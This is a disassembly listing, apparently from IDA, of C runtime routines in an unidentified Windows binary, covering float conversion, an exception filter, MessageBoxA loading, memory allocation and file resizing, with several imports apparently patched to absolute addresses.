; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424B03	proc near		; CODE XREF: sub_424B90+C0p
					; sub_424B90+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_424B39:				; CODE XREF: sub_424B03+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_424B39
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_424B6B:				; CODE XREF: sub_424B03+86j
		cmp	ebx, edi
		jl	short loc_424B7E
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_424B85
; ---------------------------------------------------------------------------


loc_424B7E:				; CODE XREF: sub_424B03+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_424B85:				; CODE XREF: sub_424B03+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_424B6B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424B03	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424B90	proc near		; CODE XREF: sub_424CFC+Dp
					; sub_424D12+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_424BFD
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_424AE8
		test	eax, eax
		pop	ecx
		jnz	loc_424CBC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424ADC
		pop	ecx


loc_424BF5:				; CODE XREF: sub_424B90+E4j
		push	2


loc_424BF7:				; CODE XREF: sub_424B90+110j
		pop	eax
		jmp	loc_424CBE
; ---------------------------------------------------------------------------


loc_424BFD:				; CODE XREF: sub_424B90+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_424AC1
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424A35
		add	esp, 10h
		test	eax, eax
		jz	short loc_424C1E
		inc	ebx


loc_424C1E:				; CODE XREF: sub_424B90+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_424C36
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424ADC
		pop	ecx
		jmp	short loc_424C72
; ---------------------------------------------------------------------------


loc_424C36:				; CODE XREF: sub_424B90+98j
		cmp	ebx, eax
		jg	short loc_424C79
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424AC1
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_424B03
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424A35
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424B03
		add	esp, 20h


loc_424C72:				; CODE XREF: sub_424B90+A4j
		xor	esi, esi
		jmp	loc_424BF5
; ---------------------------------------------------------------------------


loc_424C79:				; CODE XREF: sub_424B90+A8j
		cmp	ebx, [edi]
		jl	short loc_424CA5
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424ADC
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424B03
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_424BF7
; ---------------------------------------------------------------------------


loc_424CA5:				; CODE XREF: sub_424B90+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_424B03
		pop	ecx
		pop	ecx


loc_424CBC:				; CODE XREF: sub_424B90+55j
		xor	eax, eax


loc_424CBE:				; CODE XREF: sub_424B90+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_424CED
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_424CF7
; ---------------------------------------------------------------------------


loc_424CED:				; CODE XREF: sub_424B90+14Ej
		cmp	edi, 20h
		jnz	short loc_424CF7
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_424CF7:				; CODE XREF: sub_424B90+15Bj
					; sub_424B90+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424B90	endp


; =============== S U B	R O U T	I N E =======================================



sub_424CFC	proc near		; CODE XREF: sub_424D28+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43D7F8
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424B90
		add	esp, 0Ch
		retn
sub_424CFC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D12	proc near		; CODE XREF: sub_424D55+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43D810
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424B90
		add	esp, 0Ch
		retn
sub_424D12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424D28	proc near		; CODE XREF: sub_42223B+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4254A2
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424CFC
		add	esp, 24h
		leave
		retn
sub_424D28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424D55	proc near		; CODE XREF: sub_42223B+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4254A2
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424D12
		add	esp, 24h
		leave
		retn
sub_424D55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424D82	proc near		; CODE XREF: sub_422279+65p
					; sub_42237D+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_424DBF
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_424DA5:				; CODE XREF: sub_424D82+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_424DB1
		movsx	edx, dl
		inc	ecx
		jmp	short loc_424DB4
; ---------------------------------------------------------------------------


loc_424DB1:				; CODE XREF: sub_424D82+27j
		push	30h
		pop	edx


loc_424DB4:				; CODE XREF: sub_424D82+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_424DA5
		mov	edx, [ebp+arg_8]


loc_424DBF:				; CODE XREF: sub_424D82+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_424DD8
		cmp	byte ptr [ecx],	35h
		jl	short loc_424DD8


loc_424DCB:				; CODE XREF: sub_424D82+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_424DD6
		mov	byte ptr [eax],	30h
		jmp	short loc_424DCB
; ---------------------------------------------------------------------------


loc_424DD6:				; CODE XREF: sub_424D82+4Dj
		inc	byte ptr [eax]


loc_424DD8:				; CODE XREF: sub_424D82+42j
					; sub_424D82+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_424DE2
		inc	dword ptr [edx+4]
		jmp	short loc_424DF4
; ---------------------------------------------------------------------------


loc_424DE2:				; CODE XREF: sub_424D82+59j
		push	edi
		call	sub_41B9C0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41D670
		add	esp, 10h


loc_424DF4:				; CODE XREF: sub_424D82+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424D82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424DF9	proc near		; CODE XREF: sub_422279+3Fp
					; sub_42237D+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424E5D
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4DBFB8
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_425973
		mov	dword_4DBFE0, eax
		add	esp, 18h
		movsx	eax, byte_4DBFBA
		mov	dword_4DBFD8, eax
		pop	edi
		movsx	eax, word_4DBFB8
		mov	dword_4DBFDC, eax
		mov	dword_4DBFE4, offset dword_4DBFBC
		mov	eax, offset dword_4DBFD8
		pop	esi
		leave
		retn
sub_424DF9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424E5D	proc near		; CODE XREF: sub_424DF9+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_424EAB
		cmp	ebx, edi
		jz	short loc_424EA4
		lea	edi, [ecx+3C00h]
		jmp	short loc_424ECC
; ---------------------------------------------------------------------------


loc_424EA4:				; CODE XREF: sub_424E5D+3Dj
		mov	edi, 7FFFh
		jmp	short loc_424ECC
; ---------------------------------------------------------------------------


loc_424EAB:				; CODE XREF: sub_424E5D+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_424EC3
		cmp	edx, ebx
		jnz	short loc_424EC3
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_424F0E
; ---------------------------------------------------------------------------


loc_424EC3:				; CODE XREF: sub_424E5D+52j
					; sub_424E5D+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_424ECC:				; CODE XREF: sub_424E5D+45j
					; sub_424E5D+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_424EE4:				; CODE XREF: sub_424E5D+A6j
		test	ecx, esi
		jnz	short loc_424F05
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_424EE4
; ---------------------------------------------------------------------------


loc_424F05:				; CODE XREF: sub_424E5D+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_424F0E:				; CODE XREF: sub_424E5D+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424E5D	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_41E2C9
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_424F1C	proc near		; DATA XREF: ___:0043D438o
					; ___:0043DB78o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_424F3F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_424F3F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_424F3F
		jmp	sub_422DFC
; ---------------------------------------------------------------------------


loc_424F3F:				; CODE XREF: sub_424F1C+Dj
					; sub_424F1C+13j ...
		mov	eax, dword_4DBFE8
		test	eax, eax
		jz	short loc_424F5C
		push	eax
		call	sub_424FB8
		test	eax, eax
		pop	ecx
		jz	short loc_424F5C
		push	esi
		call	dword_4DBFE8
		jmp	short loc_424F5E
; ---------------------------------------------------------------------------


loc_424F5C:				; CODE XREF: sub_424F1C+2Aj
					; sub_424F1C+35j
		xor	eax, eax


loc_424F5E:				; CODE XREF: sub_424F1C+3Ej
		pop	esi
		retn	4
sub_424F1C	endp

; ---------------------------------------------------------------------------
word_424F62	dw 1C68h		; DATA XREF: ___:00429024o
; ---------------------------------------------------------------------------
		dec	edi
		inc	edx
		add	[eax+1DB57CE8h], dl
		add	ah, byte ptr dword_4DBFE8[ebx]
		retn
; ---------------------------------------------------------------------------
byte_424F73	db 0FFh			; DATA XREF: ___:0042903Co
		dd 4DBFE835h, 6AE89000h, 0C3021DB5h

; =============== S U B	R O U T	I N E =======================================



sub_424F80	proc near		; CODE XREF: sub_422651+6Bp
					; sub_422B62+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	near ptr 2600000h
		nop
		test	eax, eax
		jz	short loc_424F98
		xor	esi, esi


loc_424F98:				; CODE XREF: sub_424F80+14j
		mov	eax, esi
		pop	esi
		retn
sub_424F80	endp


; =============== S U B	R O U T	I N E =======================================



sub_424F9C	proc near		; CODE XREF: sub_422B62+73p
					; sub_422B62+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 2670848h
		test	eax, eax
		jz	short loc_424FB4
		xor	esi, esi


loc_424FB4:				; CODE XREF: sub_424F9C+14j
		mov	eax, esi
		pop	esi
		retn
sub_424F9C	endp


; =============== S U B	R O U T	I N E =======================================



sub_424FB8	proc near		; CODE XREF: sub_422B62+15Bp
					; sub_424F1C+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		nop
		call	near ptr 25F0AECh
		test	eax, eax
		jz	short loc_424FCC
		xor	esi, esi


loc_424FCC:				; CODE XREF: sub_424FB8+10j
		mov	eax, esi
		pop	esi
		retn
sub_424FB8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_422DFC


loc_424FD0:				; CODE XREF: sub_422DFC:loc_422E4Dj
		push	0Ah
		call	sub_423DD1
		push	16h
		call	sub_425C06
		pop	ecx
		pop	ecx
		push	3
		call	sub_41C1A2
; END OF FUNCTION CHUNK	FOR sub_422DFC

; =============== S U B	R O U T	I N E =======================================



sub_424FE7	proc near		; CODE XREF: ___:004236A6p

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_424FF8
		add	esp, 0Ch
		retn
sub_424FE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_424FF8	proc near		; CODE XREF: sub_424FE7+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4DD261[eax], cl
		jnz	short loc_425025
		cmp	[esp+arg_4], 0
		jz	short loc_42501E
		movzx	eax, word_43CE82[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_425020
; ---------------------------------------------------------------------------


loc_42501E:				; CODE XREF: sub_424FF8+16j
		xor	eax, eax


loc_425020:				; CODE XREF: sub_424FF8+24j
		test	eax, eax
		jnz	short loc_425025
		retn
; ---------------------------------------------------------------------------


loc_425025:				; CODE XREF: sub_424FF8+Fj
					; sub_424FF8+2Aj
		push	1
		pop	eax
		retn
sub_424FF8	endp


; =============== S U B	R O U T	I N E =======================================



sub_425029	proc near		; CODE XREF: sub_423DD1+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4DBFEC, ebx
		push	esi
		push	edi
		jnz	short loc_425078
		push	offset aUser32_dll ; "user32.dll"
		call	near ptr 26C0B98h
		nop
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4250AE
		mov	esi, dword_4270C4
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	dword_4DBFEC, eax
		jz	short loc_4250AE
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4DBFF0, eax
		call	esi
		mov	dword_4DBFF4, eax


loc_425078:				; CODE XREF: sub_425029+Bj
		mov	eax, dword_4DBFF0
		test	eax, eax
		jz	short loc_425097
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_425097
		mov	eax, dword_4DBFF4
		test	eax, eax
		jz	short loc_425097
		push	ebx
		call	eax
		mov	ebx, eax


loc_425097:				; CODE XREF: sub_425029+56j
					; sub_425029+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4DBFEC


loc_4250AA:				; CODE XREF: sub_425029+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4250AE:				; CODE XREF: sub_425029+1Cj
					; sub_425029+33j
		xor	eax, eax
		jmp	short loc_4250AA
sub_425029	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4250B2	proc near		; CODE XREF: sub_42413E+22p
					; sub_42413E+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_4250D3
		test	esi, esi
		jnz	short loc_4250CD
		push	1
		pop	esi


loc_4250CD:				; CODE XREF: sub_4250B2+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_4250D3:				; CODE XREF: sub_4250B2+12j
					; sub_4250B2+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_425132
		mov	eax, dword_4DD388
		cmp	eax, 3
		jnz	short loc_4250FE
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DD380
		ja	short loc_42511D
		push	eax
		call	sub_41EA6B
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_425148
		jmp	short loc_42511D
; ---------------------------------------------------------------------------


loc_4250FE:				; CODE XREF: sub_4250B2+30j
		cmp	eax, 2
		jnz	short loc_42511D
		cmp	esi, dword_43CE74
		ja	short loc_42511D
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41F50E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_42515C


loc_42511D:				; CODE XREF: sub_4250B2+3Bj
					; sub_4250B2+4Aj ...
		push	esi
		push	8
		push	dword_4DD384
		nop
		call	near ptr 27E0000h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_425156


loc_425132:				; CODE XREF: sub_4250B2+26j
		cmp	dword_4DBE48, 0
		jz	short loc_425156
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jz	short loc_42515F
		jmp	short loc_4250D3
; ---------------------------------------------------------------------------


loc_425148:				; CODE XREF: sub_4250B2+48j
		push	[ebp+arg_0]


loc_42514B:				; CODE XREF: sub_4250B2+ABj
		push	0
		push	edi
		call	sub_41BF70
		add	esp, 0Ch


loc_425156:				; CODE XREF: sub_4250B2+7Ej
					; sub_4250B2+87j
		mov	eax, edi


loc_425158:				; CODE XREF: sub_4250B2+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42515C:				; CODE XREF: sub_4250B2+69j
		push	esi
		jmp	short loc_42514B
; ---------------------------------------------------------------------------


loc_42515F:				; CODE XREF: sub_4250B2+92j
		xor	eax, eax
		jmp	short loc_425158
sub_4250B2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4241E3


loc_425163:				; CODE XREF: sub_4241E3+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4DD020, esi
		jle	short loc_4251B6


loc_425172:				; CODE XREF: sub_4241E3+FD1j
		mov	eax, dword_4DC01C
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_4251AD
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_425191
		push	eax
		call	sub_41BA3B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_425191
		inc	edi


loc_425191:				; CODE XREF: sub_4241E3+F9Fj
					; sub_4241E3+FABj
		cmp	esi, 14h
		jl	short loc_4251AD
		mov	eax, dword_4DC01C
		push	dword ptr [eax+esi*4]
		call	sub_41BA91
		mov	eax, dword_4DC01C
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_4251AD:				; CODE XREF: sub_4241E3+F99j
					; sub_4241E3+FB1j
		inc	esi
		cmp	esi, dword_4DD020
		jl	short loc_425172


loc_4251B6:				; CODE XREF: sub_4241E3+F8Dj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_4241E3

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4251BB	proc near		; CODE XREF: sub_42423B+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41C500
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4DD140
		jnb	loc_4252F0
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DD040[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_4252F0
		push	1
		push	esi
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_4252FA
		push	2
		push	esi
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_4252FA
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_42529D
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_41BF70


loc_425240:				; DATA XREF: ___:off_438CB8o
		push	8000h
		push	ebx
		call	sub_425D78
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_425251:				; CODE XREF: sub_4251BB+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_42525C
		mov	eax, edi


loc_42525C:				; CODE XREF: sub_4251BB+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_4230FB
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42527A
		sub	edi, eax
		test	edi, edi
		jle	short loc_425290
		jmp	short loc_425251
; ---------------------------------------------------------------------------


loc_42527A:				; CODE XREF: sub_4251BB+B5j
		cmp	dword_4DBDE0, 5
		jnz	short loc_42528D
		mov	dword_4DBDDC, 0Dh


loc_42528D:				; CODE XREF: sub_4251BB+C6j
		or	esi, 0FFFFFFFFh


loc_425290:				; CODE XREF: sub_4251BB+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_425D78
		pop	ecx
		pop	ecx
		jmp	short loc_4252DD
; ---------------------------------------------------------------------------


loc_42529D:				; CODE XREF: sub_4251BB+71j
		jge	short loc_4252DD
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_422F09
		push	ebx
		call	sub_4240AA
		add	esp, 10h
		push	eax
		nop
		call	near ptr 25F0000h
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4252DD
		mov	dword_4DBDDC, 0Dh
		nop
		call	near ptr 26A096Ch
		mov	dword_4DBDE0, eax


loc_4252DD:				; CODE XREF: sub_4251BB+E0j
					; sub_4251BB:loc_42529Dj ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_4252FD
; ---------------------------------------------------------------------------


loc_4252F0:				; CODE XREF: sub_4251BB+1Aj
					; sub_4251BB+36j
		mov	dword_4DBDDC, 9


loc_4252FA:				; CODE XREF: sub_4251BB+4Ej
					; sub_4251BB+63j
		or	eax, 0FFFFFFFFh


loc_4252FD:				; CODE XREF: sub_4251BB+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_4251BB	endp


; =============== S U B	R O U T	I N E =======================================



sub_425301	proc near		; CODE XREF: sub_4249DF+2Bp
					; sub_4249DF+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_425317
		cmp	ecx, esi
		jnb	short loc_42531A


loc_425317:				; CODE XREF: sub_425301+10j
		push	1
		pop	eax


loc_42531A:				; CODE XREF: sub_425301+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_425301	endp


; =============== S U B	R O U T	I N E =======================================



sub_425322	proc near		; CODE XREF: sub_4253DB+40p
					; sub_4253DB+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425354
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425354
		inc	dword ptr [esi+8]


loc_425354:				; CODE XREF: sub_425322+19j
					; sub_425322+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42536C
		inc	dword ptr [esi+8]


loc_42536C:				; CODE XREF: sub_425322+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_425301
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_425322	endp


; =============== S U B	R O U T	I N E =======================================



sub_425380	proc near		; CODE XREF: sub_4253DB+30p
					; sub_4253DB+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
